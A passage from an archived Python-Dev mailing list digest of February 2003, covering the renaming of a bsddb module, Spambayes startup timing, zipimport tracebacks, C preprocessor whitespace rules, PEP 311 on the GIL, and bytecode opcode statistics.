Subject: [Python-Dev] rename bsddbmodule.c to bsddb185.c?
Message-ID: <15963.45360.265070.874793@montanaro.dyndns.org>

I think Modules/bsddbmodule.c needs to be moved to something like
Modules/bsddb185.c or bsddb185module.c otherwise it won't get found by the
import process.  What's the best way to make that change in CVS?

Skip


From guido@python.org  Tue Feb 25 18:18:15 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 13:18:15 -0500
Subject: [Python-Dev] rename bsddbmodule.c to bsddb185.c?
In-Reply-To: Your message of "Tue, 25 Feb 2003 12:08:48 CST."
 <15963.45360.265070.874793@montanaro.dyndns.org>
References: <15963.45360.265070.874793@montanaro.dyndns.org>
Message-ID: <200302251818.h1PIIHE08063@odiug.zope.com>

> I think Modules/bsddbmodule.c needs to be moved to something like
> Modules/bsddb185.c or bsddb185module.c otherwise it won't get found by the
> import process.  What's the best way to make that change in CVS?

You could simply copy the file -- I don't care enough about the
history to want to bother the SF sysadmins.

Or you could edit setup.py (and Modules/Setup.dist) to build the
module "bsddb185" from the source file "bsddbmodule.c", and edit the
source code to rename initbsddb() to initbsd185.

--Guido van Rossum (home page: http://www.python.org/~guido/)



From barry@python.org  Tue Feb 25 18:34:39 2003
From: barry@python.org (Barry A. Warsaw)
Date: Tue, 25 Feb 2003 13:34:39 -0500
Subject: [Python-Dev] rename bsddbmodule.c to bsddb185.c?
References: <15963.45360.265070.874793@montanaro.dyndns.org>
 <200302251818.h1PIIHE08063@odiug.zope.com>
Message-ID: <15963.46911.245954.368415@gargle.gargle.HOWL>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

    GvR> Or you could edit setup.py (and Modules/Setup.dist) to build
    GvR> the module "bsddb185" from the source file "bsddbmodule.c",
    GvR> and edit the source code to rename initbsddb() to initbsd185.

+1

-Barry


From neale@woozle.org  Tue Feb 25 18:40:16 2003
From: neale@woozle.org (Neale Pickett)
Date: Tue, 25 Feb 2003 10:40:16 -0800
Subject: [Spambayes] Re: [Python-Dev] Re: some preliminary timings
In-Reply-To: <200302251718.h1PHIBe07657@odiug.zope.com> (Guido van Rossum's
 message of "Tue, 25 Feb 2003 12:18:09 -0500")
References: <15963.37617.384031.567676@montanaro.dyndns.org>
 <200302251718.h1PHIBe07657@odiug.zope.com>
Message-ID: <w531y1wfblb.fsf@woozle.org>

Guido van Rossum <guido@python.org> writes:

> The issue seems to be that a moderately sized application takes a long
> time to start, right?  How much of the user+sys time was user, how
> much was sys?  Have you used python -v to see which modules it
> imports?
>
> Long ago I knew Hammie; I believe it reads a possibly large database.
> How much time does opening +closing the database take?  (I presume
> that the 46 messages/second was not opening the database afresh for
> each message.)

Hammie's since been modified to use a Berkeley database (bsddb3), so
there's very little penalty associated with the database at startup time
AFAICT.  The constant pickling and unpickling of objects may incur some
penalty, but I don't think it would account for such a drastic slowdown.

Experience (and Tim ;) has tought me not to trust intuition, though.  I
have very little experience performance tuning Python apps thus far, so
I need to defer to someone else to devise an adequate test of the speed
hit from pickling.  Surely someone's considered using the profiler,
right?

Neale


From guido@python.org  Tue Feb 25 19:21:33 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 14:21:33 -0500
Subject: [Spambayes] Re: [Python-Dev] Re: some preliminary timings
In-Reply-To: Your message of "Tue, 25 Feb 2003 10:40:16 PST."
 <w531y1wfblb.fsf@woozle.org>
References: <15963.37617.384031.567676@montanaro.dyndns.org> <200302251718.h1PHIBe07657@odiug.zope.com>
 <w531y1wfblb.fsf@woozle.org>
Message-ID: <200302251921.h1PJLX108316@odiug.zope.com>

> > Long ago I knew Hammie; I believe it reads a possibly large database.
> > How much time does opening +closing the database take?  (I presume
> > that the 46 messages/second was not opening the database afresh for
> > each message.)
> 
> Hammie's since been modified to use a Berkeley database (bsddb3), so
> there's very little penalty associated with the database at startup time
> AFAICT.  The constant pickling and unpickling of objects may incur some
> penalty, but I don't think it would account for such a drastic slowdown.
> 
> Experience (and Tim ;) has tought me not to trust intuition, though.  I
> have very little experience performance tuning Python apps thus far, so
> I need to defer to someone else to devise an adequate test of the speed
> hit from pickling.  Surely someone's considered using the profiler,
> right?

Profiler, schmofiler.

I use this to time specific operations:

  t0 = time.clock()
  <action>
  t1 = time.clock()
  print t1-t0

On Unix, clock() measures CPU time.  If real time is more important
than CPU time, use time.time().  On Windows, clock() is a real time
timer that's more precise than time(), so you should always use
clock() there.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From skip@pobox.com  Tue Feb 25 20:02:38 2003
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 25 Feb 2003 14:02:38 -0600
Subject: [Python-Dev] rename bsddbmodule.c to bsddb185.c?
In-Reply-To: <200302251818.h1PIIHE08063@odiug.zope.com>
References: <15963.45360.265070.874793@montanaro.dyndns.org>
 <200302251818.h1PIIHE08063@odiug.zope.com>
Message-ID: <15963.52190.117910.318633@montanaro.dyndns.org>

    Guido> Or you could edit setup.py (and Modules/Setup.dist) to build the
    Guido> module "bsddb185" from the source file "bsddbmodule.c", and edit
    Guido> the source code to rename initbsddb() to initbsd185.

Ack...  Thanks, that's already done.  I must have muffed something before
when I tried importing it.

Skip


From barry@python.org  Tue Feb 25 20:12:30 2003
From: barry@python.org (Barry A. Warsaw)
Date: Tue, 25 Feb 2003 15:12:30 -0500
Subject: [Python-Dev] Scheduled downtime for mail.python.org
Message-ID: <15963.52782.321941.639585@gargle.gargle.HOWL>

Baymountain, our host for mail.python.org (and mail.zope.org), will be
performing some short duration maintenance on the machine on Wednesday
26-Feb-2003 at 10pm EST.  Expected downtime is about 10 minutes.

-Barry


From bbum@codefab.com  Tue Feb 25 20:18:51 2003
From: bbum@codefab.com (Bill Bumgarner)
Date: Tue, 25 Feb 2003 15:18:51 -0500
Subject: [Python-Dev] module extension search order - can it be changed?
In-Reply-To: <20030225200409.29566.27729.Mailman@mail.python.org>
Message-ID: <5AC6040C-48FE-11D7-9C8C-000393877AE4@codefab.com>

On Tuesday, Feb 25, 2003, at 15:04 US/Eastern, 
python-dev-request@python.org wrote:
> python23.zip is good for end users of programs written in Python, but
> not so good for Python programmers: AFAIK it won't show source lines
> in tracebacks for modules loaded from the zip file.

Speaking entirely from a point of ignorance, why are the source line #s 
not shown for frames that are implemented in modules loaded from 
zipimport?

Assuming the ZIP archive could be exactly identical to what one might 
find in /usr/lib/python2.3/, the zip could contain all the py + pyc as 
found in the normal library?

As such, it would be trivial for the developer to unzip the zip into-- 
for example-- /tmp/ for reference purposes.   Assuming the developer 
has a copy of the 2.3 source lying around and has the zip with just the 
PYC, the lines numbers are still very useful.

All things considered, I would think it would be highly desirable for 
the developer's Python development environment to be as much like a 
stock deployment environment as possible.   Java made a grave mistake 
in this regard -- the whole class loader mechanism can cause massive 
problems-- very annoying and hard to debug problems-- when moving code 
from a development environment into deployment if the class loader that 
loads a particular class changes between the two environments.

b.bum



From just@letterror.com  Tue Feb 25 20:32:49 2003
From: just@letterror.com (Just van Rossum)
Date: Tue, 25 Feb 2003 21:32:49 +0100
Subject: [Python-Dev] module extension search order - can it be changed?
In-Reply-To: <5AC6040C-48FE-11D7-9C8C-000393877AE4@codefab.com>
Message-ID: <r01050400-1023-509E4778490011D79EB5003065D5E7E4@[10.0.0.23]>

Bill Bumgarner wrote:

> On Tuesday, Feb 25, 2003, at 15:04 US/Eastern, 
> python-dev-request@python.org wrote:
> > python23.zip is good for end users of programs written in Python,
> > but not so good for Python programmers: AFAIK it won't show source
> > lines in tracebacks for modules loaded from the zip file.
> 
> Speaking entirely from a point of ignorance, why are the source line
> #s not shown for frames that are implemented in modules loaded from
> zipimport?

Line *numbers* will be shown, the lines themselves won't.

> Assuming the ZIP archive could be exactly identical to what one might 
> find in /usr/lib/python2.3/, the zip could contain all the py + pyc as 
> found in the normal library?

Yes, but currently the traceback logic that shows the offending line
(the line itself, not the line number) depends on the source being in
the actual file system. While this _could_ be fixed for zipimport, it's
not entirely trivial. You should be able to find looong discussions
about this topic in the python-dev archives... Also check PEP 302.

Just


From guido@python.org  Tue Feb 25 20:42:45 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 25 Feb 2003 15:42:45 -0500
Subject: [Python-Dev] module extension search order - can it be changed?
In-Reply-To: Your message of "Tue, 25 Feb 2003 15:18:51 EST."
 <5AC6040C-48FE-11D7-9C8C-000393877AE4@codefab.com>
References: <5AC6040C-48FE-11D7-9C8C-000393877AE4@codefab.com>
Message-ID: <200302252042.h1PKgjZ08619@odiug.zope.com>

> Speaking entirely from a point of ignorance, why are the source line #s 
> not shown for frames that are implemented in modules loaded from 
> zipimport?

Because the code printing the tracebacks doesn't know how to look
inside a zip file.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From bbum@codefab.com  Tue Feb 25 20:49:05 2003
From: bbum@codefab.com (Bill Bumgarner)
Date: Tue, 25 Feb 2003 15:49:05 -0500
Subject: [Python-Dev] module extension search order - can it be changed?
In-Reply-To: <r01050400-1023-509E4778490011D79EB5003065D5E7E4@[10.0.0.23]>
Message-ID: <9441C8F6-4902-11D7-9C8C-000393877AE4@codefab.com>

On Tuesday, Feb 25, 2003, at 15:32 US/Eastern, Just van Rossum wrote:
> Line *numbers* will be shown, the lines themselves won't.

Oh, never mind.  That's perfectly fine -- as long as the information is 
there, a cmd-l ### <cr> sequence is a small cost until one of us takes 
the time to figure out how to display the actual line from a zip...

... or maybe the answer is to look on the path and see if there is a 
corresponding source file somewhere?

Obviously, this just went beyond python 2.3 discussion.

b.bum



From neal@metaslash.com  Tue Feb 25 21:16:46 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Tue, 25 Feb 2003 16:16:46 -0500
Subject: [Python-Dev] Re: [Python-checkins] python/dist/src
 configure,1.279.6.17,1.279.6.18 configure.in,1.288.6.17,1.288.6.18
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEEAJDPAB.tim.one@comcast.net>
References: <20030224025127.GA10536@glacier.arctrix.com>
 <LNBBLJKPBEHFEDALKOLCEEAJDPAB.tim.one@comcast.net>
Message-ID: <20030225211646.GQ2041@epoch.metaslash.com>

On Sun, Feb 23, 2003 at 10:29:59PM -0500, Tim Peters wrote:
> [from a checkin comment]
> > Need to make sure that preprocessor directives start in first column.
> > This means we can't indent code which has preprocessor directives,
> > nor have a space between [ #include for example.
> 
> [Neil Schemenauer]
> > What does the C standard say about this?  I'm curious.
> 
> Spaces and horizontal tabs are fine before '#', and between '#' and the
> directive name; other kinds of whitespace are not OK in directive lines (and
> directive lines are special this way); sounds like we're catering to a
> broken compiler here.

I always thought you could have whitespace between the '#' and the
directive name, but not before the '#'.  According to everything I 
read, you can have spaces before the '#', tabs are less clear.  I
didn't find any info about which standard they are referring to.

I've found some different answers:

        http://www.opus1.com/vmsdoc/progtool/cpqc64/5492p033.htm

states:
        The ANSI C Standard removes the VAX C restriction that
        requires the # character introducing a preprocessor directive
        to always appear in column 1 of the source line. In Compaq C,
        white space and comments can now precede the # on the same
        line.

This:
        http://nimbus.pa.uky.edu/cfromfortran/preprocessor.htm
states:
        All preprocessor directives begin with # as the very first
        non-space character.  This is important - the first non-space
        character must be #, tabs will work with some implementations,
        but are not ANSI-compliant and will fail with others.  Spaces
        can appear before the # in ANSI C.

Neal


From dave@boost-consulting.com  Tue Feb 25 21:17:02 2003
From: dave@boost-consulting.com (David Abrahams)
Date: Tue, 25 Feb 2003 16:17:02 -0500
Subject: [Python-Dev] GIL Pep commentary
Message-ID: <ur89w83ht.fsf@boost-consulting.com>

Hi,

I just started looking over the GIL pep
http://www.python.org/peps/pep-0311.html. Looks pretty nice to me so
far!  I have these remarks:

   "This API will not perform automatic initialization of Python, or
    initialize Python for multi-threaded operation.  Extension authors
    must continue to call Py_Initialize(), and for multi-threaded
    applications, PyEval_InitThreads()."

This is liable to confuse people (like me) who have never had to do
Py_Initialize or PyEval_InitThreads in their extension modules.


   "It is intended that this API be all that is necessary to acquire
    the Python GIL.  Apart from the existing, standard
    Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS macros, it is
    assumed that no additional thread state API functions will be used
    by the extension.  Extensions with such complicated requirements
    are free to continue to use the existing thread state API."

This sounds like it's saying you can't use any of the old thread API
functions if you use the new ones.  Is that right?  If so, I think it
should be made more explicit.  Seems a bit draconian, though I admit I
don't know what other thread API functions people might want.

Good job, Mark!
-- 
Dave Abrahams
Boost Consulting
www.boost-consulting.com



From jacobs@penguin.theopalgroup.com  Tue Feb 25 21:24:35 2003
From: jacobs@penguin.theopalgroup.com (Kevin Jacobs)
Date: Tue, 25 Feb 2003 16:24:35 -0500 (EST)
Subject: [Python-Dev] Traceback problem
In-Reply-To: <3E5BB209.3020302@tismer.com>
Message-ID: <Pine.LNX.4.44.0302251620570.14857-100000@penguin.theopalgroup.com>

On Tue, 25 Feb 2003, Christian Tismer wrote:
> Guido van Rossum wrote:
> > I'm going with exc_clear(), since 'clearing' seems to be the verb
> > most people are using when talking about the action it performed.
> 
> I agree. clear is in fact better than reset, since there
> is no exception resetted to something, but it is cleared
> away.
> 
> >>I ask only because I usually submit bug fixes and minor changes, and am not
> >>familar enough with this part of the Python development culture.
> 
> Great, Kevin, that you are implementing this. I was already
> starting, but this is fine, if I can save some time.

I've uploaded a patch to SF:

  http://www.python.org/sf/693195

It turns out that ceval.c:reset_exc_info was a red herring and did not do
what we wanted.  Luckily, the correct behavior is fairly trivial (although
the interaction between set_exc_info and reset_exc_info had me seeing
cross-eyed for a few minutes).

-Kevin

-- 
--
Kevin Jacobs
The OPAL Group - Enterprise Systems Architect
Voice: (216) 986-0710 x 19         E-mail: jacobs@theopalgroup.com
Fax:   (216) 986-0714              WWW:    http://www.theopalgroup.com



From skip@pobox.com  Tue Feb 25 21:31:49 2003
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 25 Feb 2003 15:31:49 -0600
Subject: [Python-Dev] Re: some preliminary timings
In-Reply-To: <200302251718.h1PHIBe07657@odiug.zope.com>
References: <15963.37617.384031.567676@montanaro.dyndns.org>
 <200302251718.h1PHIBe07657@odiug.zope.com>
Message-ID: <15963.57541.244513.169979@montanaro.dyndns.org>

    Guido> The issue seems to be that a moderately sized application takes a
    Guido> long time to start, right?  How much of the user+sys time was
    Guido> user, how much was sys?  Have you used python -v to see which
    Guido> modules it imports?

Actually, hammmiefilter is a rather small application, so it seems its
runtime is completely dominated by startup costs.  It reads a single message
on stdin, scores it and writes it out with one or two new headers on stdout.
(Perhaps the architecture is just wrong and we should be shipping it off to
a long-running process for scoring.)  About one-third of user+sys is sys
time.

    Guido> Long ago I knew Hammie; I believe it reads a possibly large
    Guido> database.  How much time does opening +closing the database take?
    Guido> (I presume that the 46 messages/second was not opening the
    Guido> database afresh for each message.)

The database is now a bsddb hash file.  It's no longer a pickle.  As I
indicated, relatively few system calls (slightly less than 10% of the total)
seem to be involved in opening and probing the database.

It's probably somewhat invalid to equate number of system calls with
application runtime.  I redumped my last ktrace file just now with
timestamps.  Here are some computed intervals:

    interval                                    time
    --------                                    ----
    start -> open hammiefilter.pyc              0.071
    open hammiefilter.pyc -> open hammie.db     0.516
    open hammie.db -> close hammie.db           0.084
    close hammie.db -> program end              0.011

The first interval is pure system startup - load interpreter executable,
link in shared libraries, etc.  The second interval is application startup
- import modules, execute module-level code, etc.  The third interval is
where the application actually does useful work.  The last interval is
application shutdown.  While application startup is not exclusively
importing modules, from the looks of things it's a fair chunk.

Skip


From Jack.Jansen@oratrix.com  Tue Feb 25 21:49:41 2003
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 25 Feb 2003 22:49:41 +0100
Subject: [Python-Dev] Re: [Python-checkins] python/dist/src configure,1.279.6.17,1.279.6.18 configure.in,1.288.6.17,1.288.6.18
In-Reply-To: <20030225211646.GQ2041@epoch.metaslash.com>
Message-ID: <0B4338DB-490B-11D7-AB02-000A27B19B96@oratrix.com>

On dinsdag, feb 25, 2003, at 22:16 Europe/Amsterdam, Neal Norwitz wrote:

> On Sun, Feb 23, 2003 at 10:29:59PM -0500, Tim Peters wrote:
>> [from a checkin comment]
>>> Need to make sure that preprocessor directives start in first column.
>>> This means we can't indent code which has preprocessor directives,
>>> nor have a space between [ #include for example.
>>
>> [Neil Schemenauer]
>>> What does the C standard say about this?  I'm curious.
>>
>> Spaces and horizontal tabs are fine before '#', and between '#' and 
>> the
>> directive name; other kinds of whitespace are not OK in directive 
>> lines (and
>> directive lines are special this way); sounds like we're catering to a
>> broken compiler here.

Before ANSI C said it is okay to have whitespace before the # most 
compilers would
require the # to be in column one. And I've seen quite a couple of 
sources that
had something like
#if __STDC__
  #pragma or other ansi construct
#endif
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From popiel@wolfskeep.com  Tue Feb 25 22:10:42 2003
From: popiel@wolfskeep.com (T. Alexander Popiel)
Date: Tue, 25 Feb 2003 14:10:42 -0800
Subject: [Spambayes] Re: [Python-Dev] Re: some preliminary timings
In-Reply-To: Message from Skip Montanaro <skip@pobox.com>
 of "Tue, 25 Feb 2003 15:31:49 CST." <15963.57541.244513.169979@montanaro.dyndns.org>
References: <15963.37617.384031.567676@montanaro.dyndns.org> <200302251718.h1PHIBe07657@odiug.zope.com>  <15963.57541.244513.169979@montanaro.dyndns.org>
Message-ID: <20030225221042.D1D932DDC2@cashew.wolfskeep.com>

In message:  <15963.57541.244513.169979@montanaro.dyndns.org>
             Skip Montanaro <skip@pobox.com> writes:
>
>It's probably somewhat invalid to equate number of system calls with
>application runtime.  I redumped my last ktrace file just now with
>timestamps.  Here are some computed intervals:
>
>    interval                                    time
>    --------                                    ----
>    start -> open hammiefilter.pyc              0.071
>    open hammiefilter.pyc -> open hammie.db     0.516
>    open hammie.db -> close hammie.db           0.084
>    close hammie.db -> program end              0.011

This is good info.  Can you add in the time intervals between
loading each of the modules?  That might point out which modules
are actually expensive (or if it's none in particular).

- Alex


From skip@pobox.com  Tue Feb 25 22:19:46 2003
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 25 Feb 2003 16:19:46 -0600
Subject: [Spambayes] Re: [Python-Dev] Re: some preliminary timings
In-Reply-To: <20030225221042.D1D932DDC2@cashew.wolfskeep.com>
References: <15963.37617.384031.567676@montanaro.dyndns.org>
 <200302251718.h1PHIBe07657@odiug.zope.com>
 <15963.57541.244513.169979@montanaro.dyndns.org>
 <20030225221042.D1D932DDC2@cashew.wolfskeep.com>
Message-ID: <15963.60418.896367.294833@montanaro.dyndns.org>

    >> interval                                    time
    >> --------                                    ----
    >> start -> open hammiefilter.pyc              0.071
    >> open hammiefilter.pyc -> open hammie.db     0.516
    >> open hammie.db -> close hammie.db           0.084
    >> close hammie.db -> program end              0.011

    Alex> This is good info.  Can you add in the time intervals between
    Alex> loading each of the modules?  That might point out which modules
    Alex> are actually expensive (or if it's none in particular).

That would be a bit tedious to do manually for the dozens of modules which
are loaded.  I'll see what I can come up with though.

Skip



From damien.morton@acm.org  Tue Feb 25 22:19:30 2003
From: damien.morton@acm.org (Damien Morton)
Date: Tue, 25 Feb 2003 17:19:30 -0500
Subject: [Python-Dev] Bytecode analysis
Message-ID: <003101c2dd1c$04214ff0$6401a8c0@damien>

Ive done a static analysis of the bytecodes from compiling the python
standard library:

Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32


Some stats about JUMP_IF_FALSE opcodes

Of the 2768 JUMP_IF_FALSE opcodes encountered, 2429 have a POP_TOP on
both branches.

Id like to propose that JUMP_IF_FALSE consume the top-of-stack.


Some stats about constants

50% of constant accesses are to a fixed set of 5 constants
http://www.bitfurnace.com/python/stats-consts.txt
rank, freq, cum%, const
   1, 1277, 18.7, None
   2,  929, 32.3, 1
   3,  741, 43.1, 0
   4,  254, 46.8, ''
   5,  228, 50.1, 2

Id like to propose the following opcodes be added
LOAD_CONST(NONE)
LOAD_CONST(1)
LOAD_CONST(0)
LOAD_CONST(EMPTY_STR)

Some stats about the number of constants and locals used in functions

97% of functions use 16 or less constants
83% of functions use 8 or less constants
http://www.bitfurnace.com/python/stats-func-consts.txt

98% of functions use 16 or less locals
85% of functions use 8 or less locals
http://www.bitfurnace.com/python/stats-func-locals.txt

Id like to propose the following opcodes be added (I suggest n=15)

LOAD_CONST_[0..n]
LOAD_FAST_[0..n]
STORE_FAST_[0..n]
DELETE_FAST_[0..n]


Some stats about instruction traces
Please see the following links for detailed stats
http://www.bitfurnace.com/python/stats-traces-original.txt
http://www.bitfurnace.com/python/stats-traces-modified.txt
The second file contains stats on instruction traces incorporating the
proposed changes
The score column, in both files, is computed by multiplying the
frequency by the length of the trace

Id like to propose the following opcodes, which should reduce number of
bytecode instructions used by 20%:

RETURN_FAST == LOAD_FAST, RETURN_VALUE
RETURN_CONST == LOAD_CONST, RETURN_VALUE
LOAD_FAST+1 == LOAD_FAST, LOAD_FAST
STORE_FAST+1 == STORE_FAST, STORE_FAST
POP_TOP+1 == POP_TOP, POP_TOP
POP_TOP+2 == POP_TOP, POP_TOP, POP_TOP
BRANCH_IF == COMPARE_OP, JUMP_IF_FALSE, POP_TOP

Notes:

LOAD_FAST+1 and STORE_FAST+1 could be implemented as a 1 byte
instruction code followed by two nibbles encoding the local index
numbers. See above for a discussion of local variable index numbers.

BRANCH_IF could be implimented as a set of opcodes, one for each of the
possible compare_ops



From skip@pobox.com  Tue Feb 25 22:52:01 2003
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 25 Feb 2003 16:52:01 -0600
Subject: [Spambayes] Re: [Python-Dev] Re: some preliminary timings
In-Reply-To: <20030225221042.D1D932DDC2@cashew.wolfskeep.com>
References: <15963.37617.384031.567676@montanaro.dyndns.org>
 <200302251718.h1PHIBe07657@odiug.zope.com>
 <15963.57541.244513.169979@montanaro.dyndns.org>
 <20030225221042.D1D932DDC2@cashew.wolfskeep.com>
Message-ID: <15963.62353.100645.550074@montanaro.dyndns.org>

    Alex> This is good info.  Can you add in the time intervals between
    Alex> loading each of the modules?  That might point out which modules
    Alex> are actually expensive (or if it's none in particular).

Okay, here's a bit more information.  I instrumented hammiefilter.py with
code like

    marker = 0
    import os
    file("os%d"%marker,"w"); os.unlink("os%d"%marker); marker+=1
    import sys
    file("sys%d"%marker,"w"); os.unlink("sys%d"%marker); marker+=1
    import getopt
    file("getopt%d"%marker,"w"); os.unlink("getopt%d"%marker); marker+=1
    from spambayes import hammie, Options, mboxutils
    file("hammie%d"%marker,"w"); os.unlink("hammie%d"%marker); marker+=1

then scored a single message under ktrace control and dumped the ktrace data
with timestamps.  (This could just have easily have been done with
time.clock() or time.time() calls, but after awhile of staring at ktrace
results, this seemed just as easy.)

The instrumentation gave me a larger number of smaller intervals with these
meanings:

    interval                                    time
    start through first import (os)             0.166
    import sys                                  < 0.001
    import getopt                               0.055
    import hammie, Options, mboxutils           0.660 (!!!)
    to start of HammieFilter class defn         < 0.001
    to start of main()                          < 0.001
    create HammieFilter instance                0.005
    parse cmd line options                      < 0.001
    get msg from stdin                          0.006
    score msg                                   0.224
    write scored msg to stdout                  0.002

Focusing on the hammie-related imports, I split that import into three
lines, reinstrumented and ran it again.  Those individual imports then
expanded to

    import hammie                               0.340
    import Options                              < 0.001
    import mboxutils                            < 0.001

(As you can see, the times are only relative (large vs small) and don't seem
to be all that reproducible across individual runs.)

One more marker insertion pass, this time in hammie.py, yielded these
intervals from that file:

    import mboxutils                            0.215
    import storage                              0.072
    import options                              < 0.001
    import tokenize                             0.052
    define Hammie class                         < 0.001
    define open function                        < 0.001

It appears something in the mboxutils import is the culprit.  I'm about to
go home for the day though, so I'll let others pick up from there.

Skip


From tismer@tismer.com  Tue Feb 25 22:55:01 2003
From: tismer@tismer.com (Christian Tismer)
Date: Tue, 25 Feb 2003 23:55:01 +0100
Subject: [Python-Dev] Traceback problem
In-Reply-To: <Pine.LNX.4.44.0302251620570.14857-100000@penguin.theopalgroup.com>
References: <Pine.LNX.4.44.0302251620570.14857-100000@penguin.theopalgroup.com>
Message-ID: <3E5BF445.5050105@tismer.com>

Kevin Jacobs wrote:
...

> I've uploaded a patch to SF:
> 
>   http://www.python.org/sf/693195
> 
> It turns out that ceval.c:reset_exc_info was a red herring and did not do
> what we wanted.  Luckily, the correct behavior is fairly trivial (although
> the interaction between set_exc_info and reset_exc_info had me seeing
> cross-eyed for a few minutes).

I had a look at your patch.

Here a small analysis:

In essence, it is doing exactly the same
as PyErr_Restore(NULL, NULL, NULL) from errors.c,
with the difference that it is acting on
sys.exc_(type, value, traceback) instead of
sys.curexc_(type, value, traceback).

I just want to make sure that this is what we want to do.

The rest of reset_exc_info restores an exception that
has been captured in the frame, before.

The counterpart is set_exc_info, which is called only
if an exception handler is executed. The frame then
saves a prior exception from tstate to local variables
and sets a new exception into tstate.
I have no real clue what should happen if this
occours multiple times -- the frame will only accept
one such exception to save.
Ah, I see: This is meant to be an exception which
originated in the caller of the function, and the frame
is just supposed to save the caller's exception, in
case it is itself called in an exception handler!

The action on return is to drop the current exception,
since it has been handled, and to restore the caller's
exception, if this exists.

There is also a small trick here:
set_exc_info assigns Py_None to tstate->exc_type, if
it has been NULL. This is then assigned to the local
variables of the frame. The side effect of this trick is,
that after set_exc_info has been called once, reset_exc_info
always will think that it has to restore, even if there
is just a None-Exception. The side effect is, that the
frame's variables always will be cleared out on a return.

Well, this code could stand a few more comments ;-)

Ok, what I understood now is, that this extra action of
reset_exc_info is really not what we need here, this is
about restoring the caller's exception. But we are not
concerned with the caller here, since we stay in the
current frame.

We just want to clear the current exception in tstate,
and I think your code does the right thing.

+1

cheers -- chris

p.s.: I would probably have done the exception saving
in the caller's frame, where it belongs, IMHO.

-- 
Christian Tismer             :^)   <mailto:tismer@tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/




From skip@pobox.com  Tue Feb 25 22:59:03 2003
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 25 Feb 2003 16:59:03 -0600
Subject: [Python-Dev] Bytecode analysis
In-Reply-To: <003101c2dd1c$04214ff0$6401a8c0@damien>
References: <003101c2dd1c$04214ff0$6401a8c0@damien>
Message-ID: <15963.62775.518821.659618@montanaro.dyndns.org>

    Damien> Ive done a static analysis of the bytecodes from compiling the
    Damien> python standard library:

    ...

Nice input, but I think you should deal with dynamic opcode frequencies.
See the #define's in the ceval.c source for how to enable that and the
recent thread in c.l.py.  In short, it doesn't really matter how many
LOAD_CONST instructions appear in the bytecode stream, only how many of them
are executed.  While LOAD_CONST is a relatively frequently executed opcode,
if I recall correctly, LOAD_FAST is much more frequently executed, and
LOAD_CONST is already pretty fast, so adding special opcodes probably won't
buy you much and runs the risk of disturbing what locality of reference
exists.

The LOAD_IF_FALSE issue was discussed recently (here I think).  The problem
is that chained operations like

    if a < b < c:
        ...

require the value be retained.  You could get rid of the separate POP_TOP
instruction but it would require some work in the compiler.

as-always-patches-are-welcome-ly, y'rs,

Skip


From mhammond@skippinet.com.au  Tue Feb 25 22:59:34 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Wed, 26 Feb 2003 09:59:34 +1100
Subject: [Python-Dev] GIL Pep commentary
In-Reply-To: <ur89w83ht.fsf@boost-consulting.com>
Message-ID: <001f01c2dd21$91339010$530f8490@eden>

> I just started looking over the GIL pep
> http://www.python.org/peps/pep-0311.html. Looks pretty nice to me so
> far!  I have these remarks:

Great!

>    "This API will not perform automatic initialization of Python, or
>     initialize Python for multi-threaded operation.  Extension authors
>     must continue to call Py_Initialize(), and for multi-threaded
>     applications, PyEval_InitThreads()."
>
> This is liable to confuse people (like me) who have never had to do
> Py_Initialize or PyEval_InitThreads in their extension modules.

Good point.  I will change "Extension Authors" to "Applications which embed
Python"

>    "It is intended that this API be all that is necessary to acquire
>     the Python GIL.  Apart from the existing, standard
>     Py_BEGIN_ALLOW_THREADS and Py_END_ALLOW_THREADS macros, it is
>     assumed that no additional thread state API functions will be used
>     by the extension.  Extensions with such complicated requirements
>     are free to continue to use the existing thread state API."
>
> This sounds like it's saying you can't use any of the old thread API
> functions if you use the new ones.  Is that right?  If so, I think it
> should be made more explicit.  Seems a bit draconian, though I admit I
> don't know what other thread API functions people might want.

That is kind-of what I mean <wink>.  My concern is simply that I did not
want to make this code totally bullet-proof in the face of all the tricks
that can be pulled with the existing thread-state API.  For example, the
existing API allows you to switch as many different thread-states in for a
single thread that you desire.  I am really not sure what my patch would do
if the developer goes and swaps thread-states underneath our API.

I guess all I am saying is: If you use other thread-state APIs in
conjunction with this new API, it is your responsibility to make sure
everything works!

> Good job, Mark!

Thanks!  And while we are here, do you have any suggestions for the name, as
per the start of the PEP?

I am starting to think PyThreadState_Ensure() and PyThreadState_Release()
are good enough names.  The only problem is that they are not really part of
the same "family" as the other PyThreadState_* functions, and thus people
may assume they can mix-and-match them.  OTOH, they clearly are ThreadState
related functions, so are at least cousins to the rest of them!

As far as I can tell, there are no technical issues remaining in this PEP -
only naming and clarification.  Does anyone disagree with that?

Keen-to-get-this-in-2.3 ly,

Mark.



From skip@pobox.com  Tue Feb 25 23:12:59 2003
From: skip@pobox.com (Skip Montanaro)
Date: Tue, 25 Feb 2003 17:12:59 -0600
Subject: [Python-Dev] test_re failing again on Mac OS X
Message-ID: <15963.63611.477907.286500@montanaro.dyndns.org>

I notice that test_re is failing with a recursion depth limit error on Mac
OS X, but only when run under regrtest.py.  Running plain works:

